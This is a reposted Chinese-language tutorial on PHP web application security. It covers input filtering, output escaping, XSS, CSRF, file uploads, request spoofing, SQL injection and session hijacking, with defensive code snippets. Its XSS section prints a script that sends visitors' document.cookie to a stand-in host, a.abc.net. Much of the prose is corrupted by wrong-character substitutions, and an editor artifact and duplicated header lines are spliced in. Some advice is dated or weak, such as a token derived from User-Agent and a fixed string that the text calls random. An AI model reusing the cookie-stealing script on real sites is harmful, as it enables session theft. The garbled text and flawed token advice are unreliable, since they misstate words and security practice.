PHP開發安全之近墨者淺談(轉)

==過濾輸入/輸出轉義

過濾是Web應用安全的基礎。它是你驗證數據合法性的過程。經過在輸入時確認對全部的數據進行過濾,你能夠避免被污染(未過濾)數據在你的程序中被誤信及誤用。大多數流行的PHP應用的漏洞最終都是由於沒有對輸入進行恰當過濾形成的。
有不少種方法過濾數據,其中有一些安全性較高。最好的方法是把過濾當作是一個檢查的過程。請不要試圖好心地去糾正非法數據,要讓你的用戶按你的規則去作,歷史證實了試圖糾正非法數據每每會致使安全漏洞。
另一個Web應用安全的基礎是對輸出進行轉義或對特殊字符進行編碼,以保證原意不變。例如,O’Reilly在傳送給MySQL數據庫前須要轉義成O\’Reilly。單引號前的反斜槓表明單引號是數據自己的一部分,而不是並非它的本義。

象過濾同樣,轉義過程在依情形的不一樣而不一樣。過濾對於不一樣類型的數據處理方法也是不一樣的,轉義也是根據你傳輸信息到不一樣的系統而採用不一樣的方法。
爲了區分數據是否已轉義,仍是建議定義一個命名機制。對於輸出到客戶機的轉義數據,使$html數組進行存儲,該數據首先初始化成一個空數組,對全部已過濾和已轉義數據進行保存。

<?php 
     $html = array(     ); 
     $html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); 
     echo "<p>Welcome, {$html['username']}.</p>"; 
?>
htmlspecialchars( )函數與htmlentities( )函數基本相同,它們的參數定義徹底相同,只不過是htmlentities( )的轉義更爲完全。
經過$html['username']把username輸出到客戶端,你就能夠確保其中的特殊字符不會被瀏覽器所錯誤解釋。若是username只包含字母和數字的話,實際上轉義是沒有必要的,可是這體現了深度防範的原則。轉義任何的輸出是一個很是好的習慣,它能夠戲劇性地提升你的軟件的安全性。
另一個常見的輸出目標是數據庫。若是可能的話,你須要對SQL語句中的數據使用PHP內建函數進行轉義。對於MySQL用戶,最好的轉義函數是 mysql_real_escape_string( )。若是你使用的數據庫沒有PHP內建轉義函數可用的話,addslashes( )是最後的選擇。

==語義URL攻擊

例如,若是用戶a點擊了一個連接併到達了頁面http://abc.net/pr.php?user=a, 很天然地可能會試圖改變user的值,看看會發生什麼。
若是使用session跟蹤,能夠很方便地避免上述狀況的發生:

<?php 
     session_start(); 
     $clean = array(); 
     $email_pa = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i'; 
     if (preg_match($email_pa, $_POST['email'])) 
     { 
     $clean['email'] = $_POST['email']; 
     $user = $_SESSION['user']; 
     $new_password = md5(uniqid(rand(), TRUE)); 
     if ($_SESSION['verified']) 
     { 
         /* Update Password */ 
         mail($clean['email'], 'Your New Pass', $new_password); 
     } 
     } 
?>
正是這種不信任的作法是防止你的應用產生漏洞的關鍵。

==文件上傳攻擊

有時在除了標準的表單數據外,你還須要讓用戶進行文件上傳。因爲文件在表單中傳送時與其它的表單數據不一樣,你必須指定一個特別的編碼方式multipart/form-data:

<form action="./upload.php" method="POST" enctype="multipart/form-data">
一個同時有普通表單數據和文件的表單是一個特殊的格式,而指定編碼方式可使瀏覽器能按該可格式的要求去處理。
容許用戶進行選擇文件並上傳的表單元素是很簡單的:

<input type="file" name="attachment" />
該元素在各類瀏覽器中的外觀表現形式各有不一樣。傳統上,界面上包括一個標準的文本框及一個瀏覽按鈕,以使用戶能直接手工錄入文件的路徑或經過瀏覽選擇。在Safari瀏覽器中只有瀏覽按鈕。幸運的是,它們的做用與行爲是相同的。
爲了更好地演示文件上傳機制,下面是一個容許用戶上傳附件的例子:

<form action="./upload.php" method="POST" enctype="multipart/form-data"> 
     <p>Please choose a file to upload: 
     <input type="hidden" name="MAX_FILE_SIZE" value="1024" /> 
     <input type="file" name="attachment" /><br /> 
     <input type="submit" value="Upload Attachment" /></p> 
</form>
隱藏的表單變量MAX_FILE_SIZE告訴了瀏覽器最大容許上傳的文件大小。與不少客戶端限制相同,這一限制很容易被攻擊者繞開,但它能夠爲合法用戶提供嚮導。在服務器上進行該限制纔是可靠的。
PHP的配置變量中,upload_max_filesize控制最大容許上傳的文件大小。同時post_max_size(POST表單的最大提交數據的大小)也能潛在地進行控制,由於文件是經過表單數據進行上傳的。
接收程序upload.php顯示了超級全局數組$_FILES的內容:

<?php 
     header('Content-Type: text/plain'); 
     print_r($_FILES); 
?>
爲了理解上傳的過程,咱們使用一個名爲author.txt的文件進行測試,下面是它的內容:
user abc
http://abc.org/[/php]
當你上傳該文件到upload.php程序時,你能夠在瀏覽器中看到相似下面的輸出:

[php]Array 
     ( 
         [attachment] => Array 
             ( 
                     [name] => author.txt 
                     [type] => text/plain 
                     [tmp_name] => /tmp/phpShfltt 
                     [error] => 0 
                     [size] => 36 
             )     
      ) 
雖然從上面能夠看出PHP實際在超級全局數組$_FILES中提供的內容,可是它沒法給出表單數據的原始信息。
因爲PHP在文件系統的臨時文件區保存上傳的文件,因此一般進行的操做是把它移到其它地方進行保存及讀取到內存。若是你不對tmp_name做檢查以確保它是一個上傳的文件(而不是/etc/passwd之類的東西),存在一個理論上的風險。之因此叫理論上的風險,是由於沒有一種已知的攻擊手段容許攻擊者去修改tmp_name的值。可是,沒有攻擊手段並不意味着你不須要作一些簡單的安全措施。新的攻擊手段天天在出現,而簡單的一個步驟能保護你的系統。
PHP提供了兩個方便的函數以減輕這些理論上的風險:is_uploaded_file( ) and move_uploaded_file( )。若是你須要確保tmp_name中的文件是一個上傳的文件,你能夠用
is_uploaded_file( ):

<?php 
     $filename = $_FILES['attachment']['tmp_name']; 
     if (is_uploaded_file($filename)) 
     { 
     /* $_FILES['attachment']['tmp_name'] is an uploaded file. */ 
     } 
     ?>
最後你能夠用 filesize( ) 來校驗文件的大小:

<?php 
     $filename = $_FILES['attachment']['tmp_name'];      if (is_uploaded_file($filename)) 
     { 
     $size = filesize($filename); 
     } 
?>
這些安全措施的目的是加上一層額外的安全保護層。最佳的方法是永遠儘量少地去信任。並且全部的輸入都是有害的。

==跨站腳本攻擊

全部有輸入的應用都面臨着風險。事實上,大多數Web應用提供輸入是出於更吸引人氣的目的,但同時這也會把本身置於危險之中。若是輸入沒有正確地進行過濾和轉義,跨站腳本漏洞就產生了。
以一個容許在每一個頁面上錄入評論的應用爲例,它使用了下面的表單幫助用戶進行提交:

<form action="./comment.php" method="POST" /> 
     <p>Name: <input type="text" name="name" /><br /> 
     Comment: <textarea name="comment" rows="10" cols="60"></textarea><br /> 
     <input type="submit" value="Add Comment" /></p> 
</form>
程序向其餘訪問該頁面的用戶顯示評論。例如,相似下面的代碼段可能被用來輸出一個評論($comment)及與之對應的發表人($name):

<?php 
     echo "<p>$name writes:<br />"; 
     echo "<blockquote>$comment</blockquote></p>"; 
?>
這個流程對$comment及$name的值給予了充分的信任,想象一下它們中的一個的內容中包含以下代碼:

<script> 
     document.location = 
     'http://a.abc.net/s.php?cookies=' + 
     document.cookie 
</script>
若是你的用戶察看這個評論時,這與你容許別人在你的網站源程序中加入Javascript代碼無異。你的用戶會在不知不覺中把他們的cookies(瀏覽網站的人)發送到a.abc.net,而接收程序(s.php)能夠經過$_GET['cookies']變量防問全部的cookies。
這是一個常見的錯誤,主要是因爲很差的編程習慣引起的。幸運的是此類錯誤很容易避免。因爲這種風險只在你輸出了被污染數據時發生,因此只要確保作到如第一章所述的過濾輸入及轉義輸出便可
最起碼你要用htmlentities( )對任何你要輸出到客戶端的數據進行轉義。該函數能夠把全部的特殊字符轉換成HTML表示方式。全部會引發瀏覽器進行特殊處理的字符在進行了轉換後,就能確保顯示出來的是原來錄入的內容。

==跨站請求僞造

跨站請求僞造(CSRF)是一種容許攻擊者經過受害者發送任意HTTP請求的一類攻擊方法。此處所指的受害者是一個不知情的同謀,全部的僞造請求都由他發起,而不是攻擊者。這樣,很你就很難肯定哪些請求是屬於跨站請求僞造攻擊。事實上,若是沒有對跨站請求僞造攻擊進行特地防範的話,你的應用頗有多是有漏洞的。
你須要用幾個步驟來減輕跨站請求僞造攻擊的風險。通常的步驟包括使用POST方式而不是使用GET來提交表單,在處理表單提交時使用$_POST而不是$_REQUEST,同時須要在重要操做時進行驗證(越是方便,風險越大,你須要求得方便與風險之間的平衡)。
任何須要進行操做的表單都要使用POST方式。在RFC 2616(HTTP/1.1傳送協議,譯註)的9.1.1小節中有一段描述:
「特別須要指出的是,習慣上GET與HEAD方式不該該用於引起一個操做,而只是用於獲取信息。這些方式應該被認爲是‘安全’的。客戶瀏覽器應以特殊的方式,如POST,PUT或Delete方式來使用戶意識到正在請求進行的操做多是不安全的。」
最重要的一點是你要作到能強制使用你本身的表單進行提交。儘管用戶提交的數據看起來象是你表單的提交結果,但若是用戶並非在最近調用的表單,這就比較可疑了。請看下面對前例應用更改後的代碼:

<?php      
     session_start(); 
     $token = md5(uniqid(rand(), TRUE)); 
     $_SESSION['token'] = $token; 
     $_SESSION['token_time'] = time(); 
     ?> 
     <form action="buy.php" method="POST"> 
     <input type="hidden" name="token" value="<?php echo $token; ?>" /> 
     <p> 
     Item: 
     <select name="item"> 
     <option name="pen">pen</option> 
     <option name="pencil">pencil</option> 
     </select><br /> 
     Quantity: <input type="text" name="quantity" /><br /> 
     <input type="submit" value="Buy" /> 
     </p> 
     </form>
經過這些簡單的修改,一個跨站請求僞造攻擊就必須包括一個合法的驗證碼以徹底模仿表單提交。因爲驗證碼的保存在用戶的session中的,攻擊者必須對每一個受害者使用不一樣的驗證碼。這樣就有效的限制了對一個用戶的任何攻擊,它要求攻擊者獲取另一個用戶的合法驗證碼。使用你本身的驗證碼來僞造另一個用戶的請求是無效的。 該驗證碼能夠簡單地經過一個條件表達式來進行檢查:

<?php     
     if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token']) 
     { 
     } 
?>
你還能對驗證碼加上一個有效時間限制,如5分鐘:

<?php      
     $token_age = time() - $_SESSION['token_time'];      if ($token_age <= 300) 
     { 
     } 
?>
經過在你的表單中包括驗證碼,你事實上已經消除了跨站請求僞造攻擊的風險。能夠在任何須要執行操做的任何表單中使用這個流程。
儘管我使用img標籤描述了攻擊方法,但跨站請求僞造攻擊只是一個總稱,它是指全部攻擊者經過僞造他人的HTTP請求進行攻擊的類型。已知的攻擊方法同時包括對GET和POST的攻擊,因此不要認爲只要嚴格地只使用POST方式就好了。

==欺騙表單提交

製造一個欺騙表單幾乎與假造一個URL同樣簡單。畢竟,表單的提交只是瀏覽器發出的一個HTTP請求而已。請求的部分格式取決於表單,某些請求中的數據來自於用戶。
大多數表單用一個相對URL地址來指定action屬性:

<form action="./pr.php" method="POST">
當表單提交時,瀏覽器會請求action中指定的URL,同時它使用當前的URL地址來定位相對URL。則在用戶提交表單後會請求URL地址http://abc.net/pr.php。
知道了這一點,很容易就能想到你能夠指定一個絕對地址,這樣表單就能夠放在任何地方了:

<form action="http://abc.net/pr.php" method="POST">
這個表單能夠放在任何地方,而且使用這個表單產生的提交與原始表單產生的提交是相同的。意識到這一點,攻擊者能夠經過查看頁面源文件並保存在他的服務器上,同時將action更改成絕對URL地址。經過使用這些手段,攻擊者能夠任意更改表單,如取消最大字段長度限制,取消本地驗證代碼,更改隱藏字段的值,或者出於更加靈活的目的而改寫元素類型。這些更改幫助攻擊者向服務器提交任何數據,同時因爲這個過程很是簡便易行,攻擊者無需是一個專家便可作到。
欺騙表單攻擊是不能防止的,儘管這看起來有點奇怪,但事實上如此。不過這你不須要擔憂。一旦你正確地過濾了輸入,用戶就必需要遵照你的規則,這與他們如何提交無關。

==HTTP請求欺騙

一個比欺騙表單更高級和複雜的攻擊方式是HTTP請求欺騙。這給了攻擊者徹底的控制權與靈活性,它進一步證實了不能盲目信任用戶提交的任何數據。
請看下面位於http://abc.net/form.php的表單:

<form action="process.php" method="POST"> 
     <p>Please select a color: 
     <select name="color"> 
     <option value="red">Red</option> 
     <option value="green">Green</option> 
     <option value="blue">Blue</option> 
     </select><br /> 
     <input type="submit" value="Select" /></p> 
</form>
若是用戶選擇了Red並點擊了Select按鈕後,瀏覽器會發出下面的HTTP請求:

POST /process.php HTTP/1.1 
     Host: abc.net 
     User-Agent: Mozilla/5.0 (X11; U; Linux i686) 
     Referer: http://abc.net/form.php 
     Content-Type: application/x-www-form-urlencoded 
     Content-Length: 9      color=red
看到大多數瀏覽器會包含一個來源的URL值,你可能會試圖使用$_SERVER['HTTP_REFERER']變量去防止欺騙。確實,這能夠用於對付利用標準瀏覽器發起的攻擊,但攻擊者是不會被這個小麻煩給擋住的。經過編輯HTTP請求的原始信息,攻擊者能夠徹底控制HTTP頭部的值,GET和POST 的數據,以及全部在HTTP請求的內容。
攻擊者如何更改原始的HTTP請求?過程很是簡單。經過在大多數系統平臺上都提供的Telnet實用程序,你就能夠經過鏈接網站服務器的偵聽端口(典型的端口爲80)來與Web服務器直接通訊。下面就是使用這個技巧請求http://abc.net/頁面的例子:

$ telnet abc.net 80 
     Trying 192.0.34.166... 
     Connected to abc.net (192.0.34.166). 
     Escape character is '^]'. 
     GET / HTTP/1.1 
     Host: abc.net      HTTP/1.1 200 OK 
     Date: Sat, 21 May 2005 12:34:56 GMT 
     Server: Apache/1.3.31 (Unix) 
     Accept-Ranges: bytes 
     Content-Length: 410 
     Connection: close 
     Content-Type: text/html      <html> 
     <head> 
     <title>abc.net</title> 
     </head> 
     <body> 
     <p>You have reached this web page by typing "example.com", 
     "example.net", or "example.org" into your web browser.</p> 
     <p>These domain names are reserved for use in documentation and are not 
     available for registration. See 
     <a href="RFC'>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC _fcksavedurl=""RFC'>http://www.rfc-editor.org/rfc/rfc2606.txt">RFC" 2606</a>, Section 
     3.</p> 
     </body> 
     </html>      Connection closed by foreign host. 
     $
所顯示的請求是符合HTTP/1.1規範的最簡單的請求,這是由於Host信息是頭部信息中所必須有的。一旦你輸入了表示請求結束的連續兩個換行符,整個HTML的迴應即顯示在屏幕上。
Telnet實用程序不是與Web服務器直接通訊的惟一方法,但它經常是最方便的。但是若是你用PHP編碼一樣的請求,你能夠就能夠實現自動操做了。前面的請求能夠用下面的PHP代碼實現:

<?php 
     $http_response = ''; 
     $fp = fsockopen('abc.net', 80); 
     fputs($fp, "GET / HTTP/1.1"); 
     fputs($fp, "Host: abc.net"); 
     while (!feof($fp)) 
     { 
     $http_response .= fgets($fp, 128); 
     } 
     fclose($fp); 
     echo nl2br(htmlentities($http_response, ENT_QUOTES, 'UTF-8')); 
     ?>
固然,還有不少方法去達到上面的目的,但其要點是HTTP是一個廣爲人知的標準協議,通常攻擊者都會對它很是熟悉,而且對常見的安全漏洞的攻擊方法也很熟悉。

==SQL 注入

SQL 注入是PHP應用中最多見的漏洞之一。事實上使人驚奇的是,開發者要同時犯兩個錯誤纔會引起一個SQL注入漏洞,一個是沒有對輸入的數據進行過濾(過濾輸入),還有一個是沒有對發送到數據庫的數據進行轉義(轉義輸出)。這兩個重要的步驟缺一不可,須要同時加以特別關注以減小程序錯誤。
雖然兩個步驟都不能省略,但只要實現其中的一個就能消除大多數的SQL注入風險。若是你只是過濾輸入而沒有轉義輸出,你極可能會遇到數據庫錯誤(合法的數據也可能影響SQL查詢的正確格式),但這也不可靠,合法的數據還可能改變SQL語句的行爲。另外一方面,若是你轉義了輸出,而沒有過濾輸入,就能保證數據不會影響SQL語句的格式,同時也防止了多種常見SQL注入攻擊的方法。
關於SQL注入,不得不說的是如今大多虛擬主機都會把magic_quotes_gpc選項打開,在這種狀況下全部的客戶端GET和POST的數據都會自動進行addslashes處理,因此此時對字符串值的SQL注入是不可行的,但要防止對數字值的SQL注入,如用intval()等函數進行處理。但若是你編寫的是通用軟件,則須要讀取服務器的magic_quotes_gpc後進行相應處理。

==會話劫持

最多見的針對會話的攻擊手段是會話劫持。它是全部攻擊者能夠用來訪問其它人的會話的手段的總稱。全部這些手段的第一步都是取得一個合法的會話標識來假裝成合法用戶,所以保證會話標識不被泄露很是重要。前面幾節中關於會話暴露和固定的知識能幫助你保證會話標識只有服務器及合法用戶才能知道。
把假裝過程變得更復雜的關鍵是增強驗證。會話標識是驗證的首要方法,同時你能夠用其它數據來補充它。你能夠用的全部數據只是在每一個HTTP請求中的數據:

GET / HTTP/1.1 
     Host: abc.net 
     User-Agent: Firefox/1.0 
     Accept: text/html, image/png, image/jpeg, image/gif, * / HTTP/1.1 
     Host: abc.net 
     User-Agent: Firefox/1.0 
     Accept: text/html, image/png, image/jpeg, image/gif, *
應該意識到請求的一致性,並把不一致的行爲認爲是可疑行爲。例如,雖然User-Agent(發出本請求的瀏覽器類型)頭部是可選的,可是隻要是發出該頭部的瀏覽器一般都不會變化它的值。若是你一個擁有1234的會話標識的用戶在登陸後一直用Mozilla Firfox瀏覽器,忽然轉換成了IE,這就比較可疑了。例如,此時你能夠用要求輸入密碼方式來減輕風險,同時在誤報時,這也對合法用戶產生的衝擊也比較小。你能夠用下面的代碼來檢測User-Agent的一致性:

<?php 
     session_start(); 
     if (isset($_SESSION['HTTP_USER_AGENT'])) 
     { 
     if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) 
     { 
         exit; 
     } 
     } 
     else 
     { 
     $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); 
     } 
     ?>
在某些版本的IE瀏覽器中,用戶正常訪問一個網頁和刷新一個網頁時發出的Accept頭部信息不一樣,所以Accept頭部不能用來判斷一致性。 確保User-Agent頭部信息一致的確是有效的,但若是會話標識經過cookie傳遞,有道理認爲,若是攻擊者能取得會話標識,他同時也能取得其它 HTTP頭部。因爲cookie暴露與瀏覽器漏洞或跨站腳本漏洞相關,受害者須要訪問攻擊者的網站並暴露全部頭部信息。全部攻擊者要作的只是重建頭部以防止任何對頭部信息一致性的檢查。
比較好的方法是產生在URL中傳遞一個標記,能夠認爲這是第二種驗證的形式。使用這個方法須要進行一些編程工做,PHP中沒有相應的功能。例如,假設標記保存在$token中,你須要把它包含在全部你的應用的內部連接中:

<?php 
     $url = array(); 
     $html = array(); 
     $url['token'] = rawurlencode($token); 
     $html['token'] = htmlentities($url['token'], ENT_QUOTES, 'UTF-8'); 
?>      <a href="abc.php?token=<?php echo $html['token']; ?>">Click Here</a>
爲了更方便地管理這個傳遞過程,你可能會把整個請求串放在一個變量中。你能夠把這個變量附加到全部連接後面,這樣即使你一開始沒有使用該技巧,從此仍是能夠很方便地對你的代碼做出變化。 該標記須要包含不可預測的內容,即使是在攻擊者知道了受害者瀏覽器發出的HTTP頭部的所有信息也不行。一種方法是生成一個隨機串做爲標記:

<?php 
     $string = $_SERVER['HTTP_USER_AGENT']; 
     $string .= 'SHIFLETT'; 
     $token = md5($string); 
     $_SESSION['token'] = $token; 
?>
當你使用隨機串時(如SHIFLETT),對它進行預測是不現實的。此時,捕獲標記將比預測標記更爲方便,經過在URL中傳遞標記和在cookie中傳遞會話標識,攻擊時須要同時抓取它們兩者。這樣除非攻擊者可以察看受害者發往你的應用全部的HTTP請求原始信息才能夠,由於在這種狀況下全部內容都暴露了。這種攻擊方式實現起來很是困難(因此很罕見),要防止它須要使用SSL。
有專家警告不要依賴於檢查User-Agent的一致性。這是由於服務器羣集中的HTTP代理服務器會對User-Agent進行編輯,而本羣集中的多個代理服務器在編輯該值時可能會不一致。
若是你不但願依賴於檢查User-Agent的一致性。你能夠生成一個隨機的標記:

<?php 
     $token = md5(uniqid(rand(), TRUE)); 
     $_SESSION['token'] = $token; 
?>
這一方法的安全性雖然是弱一些,但它更可靠。上面的兩個方法都對防止會話劫持提供了強有力的手段。你須要作的是在安全性和可靠性之間做出平衡。php

相關文章
相關標籤/搜索